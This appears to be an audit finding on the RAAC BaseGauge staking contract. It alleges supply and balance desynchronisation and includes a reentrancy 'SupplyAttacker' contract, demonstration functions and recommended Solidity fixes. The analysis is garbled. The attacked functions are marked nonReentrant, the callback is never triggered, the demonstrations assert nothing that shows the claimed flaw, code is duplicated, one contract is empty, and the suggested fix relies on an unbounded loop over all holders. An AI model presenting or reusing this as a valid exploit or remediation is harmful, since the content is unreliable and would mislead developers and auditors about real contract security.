Summary
https://github.com/Cyfrin/2025-02-raac/blob/89ccb062e2b175374d40d824263a4c0b601bcb7f/contracts/core/governance/gauges/BaseGauge.sol#L261C4-L280C6
Incorrect reward distributions and unfair share allocations as can be seen below
Vulnerability Details
https://github.com/Cyfrin/2025-02-raac/blob/89ccb062e2b175374d40d824263a4c0b601bcb7f/contracts/core/governance/gauges/BaseGauge.sol#L261C4-L280C6
function stake(uint256 amount) external nonReentrant updateReward(msg.sender) {
if (amount == 0) revert InvalidAmount();
_totalSupply += amount;
_balances[msg.sender] += amount;
stakingToken.safeTransferFrom(msg.sender, address(this), amount);
emit Staked(msg.sender, amount);
}
* @notice Withdraws staked tokens
* @param amount Amount to withdraw
*/
function withdraw(uint256 amount) external nonReentrant updateReward(msg.sender) {
if (amount == 0) revert InvalidAmount();
if (_balances[msg.sender] < amount) revert InsufficientBalance();
_totalSupply -= amount;
_balances[msg.sender] -= amount;
stakingToken.safeTransfer(msg.sender, amount);
emit Withdrawn(msg.sender, amount);
}
contract BaseGauge {
uint256 private _totalSupply;
mapping(address => uint256) private _balances;
function stake(uint256 amount) external nonReentrant updateReward(msg.sender) {
if (amount == 0) revert InvalidAmount();
_totalSupply += amount;
_balances[msg.sender] += amount;
stakingToken.safeTransferFrom(msg.sender, address(this), amount);
emit Staked(msg.sender, amount);
}
function withdraw(uint256 amount) external nonReentrant updateReward(msg.sender) {
if (amount == 0) revert InvalidAmount();
if (_balances[msg.sender] < amount) revert InsufficientBalance();
_totalSupply -= amount;
_balances[msg.sender] -= amount;
stakingToken.safeTransfer(msg.sender, amount);
emit Withdrawn(msg.sender, amount);
}
}
contract SupplyAttacker {
BaseGauge gauge;
bool attacked = false;
function attack() external {
gauge.stake(1000);
gauge.withdraw(500);
}
function tokenCallback() external {
if (!attacked) {
attacked = true;
gauge.stake(1000);
}
}
}
contract BaseGauge {
function emergencyWithdraw(address token, uint256 amount) external onlyRole(DEFAULT_ADMIN_ROLE) {
IERC20(token).safeTransfer(msg.sender, amount);
}
}
contract BaseGauge {
}
function demonstrateEmergencyBreak() {
assert(_totalSupply == 1000);
assert(_balances[user] == 1000);
emergencyWithdraw(stakingToken, 500);
assert(_totalSupply == 1000);
assert(_balances[user] == 1000);
}
function demonstrateDirectTransferBreak() {
assert(_totalSupply == 1000);
stakingToken.transfer(address(this), 500);
assert(_totalSupply == 1000);
}
Impact
Incorrect reward distributions and unfair share allocations
Tools Used
Foundry
Recommendations
struct SupplyUpdate {
uint256 oldTotalSupply;
uint256 newTotalSupply;
uint256 oldBalance;
uint256 newBalance;
address account;
}
function updateSupplyAtomic(SupplyUpdate memory update) internal {
require(update.newTotalSupply >= update.oldTotalSupply - update.oldBalance, "Invalid supply change");
require(update.newBalance <= update.oldBalance + update.newTotalSupply - update.oldTotalSupply, "Invalid balance change");
_totalSupply = update.newTotalSupply;
_balances[update.account] = update.newBalance;
emit SupplyUpdated(update.oldTotalSupply, update.newTotalSupply);
}
function verifySupply() internal view returns (bool) {
uint256 calculatedSupply = 0;
address[] memory holders = getHolders();
for (uint i = 0; i < holders.length; i++) {
calculatedSupply += _balances[holders[i]];
}
return calculatedSupply == _totalSupply;
}
function safeStake(uint256 amount) external nonReentrant updateReward(msg.sender) {
require(amount > 0, "Invalid amount");
SupplyUpdate memory update = SupplyUpdate({
oldTotalSupply: _totalSupply,
newTotalSupply: _totalSupply + amount,
oldBalance: _balances[msg.sender],
newBalance: _balances[msg.sender] + amount,
account: msg.sender
});
stakingToken.safeTransferFrom(msg.sender, address(this), amount);
updateSupplyAtomic(update);
assert(verifySupply());
}
function recoverSupplyState() internal {
uint256 actualSupply = 0;
address[] memory holders = getHolders();
for (uint i = 0; i < holders.length; i++) {
actualSupply += _balances[holders[i]];
}
if (actualSupply != _totalSupply) {
emit SupplyDiscrepancy(_totalSupply, actualSupply);
_totalSupply = actualSupply;
}
}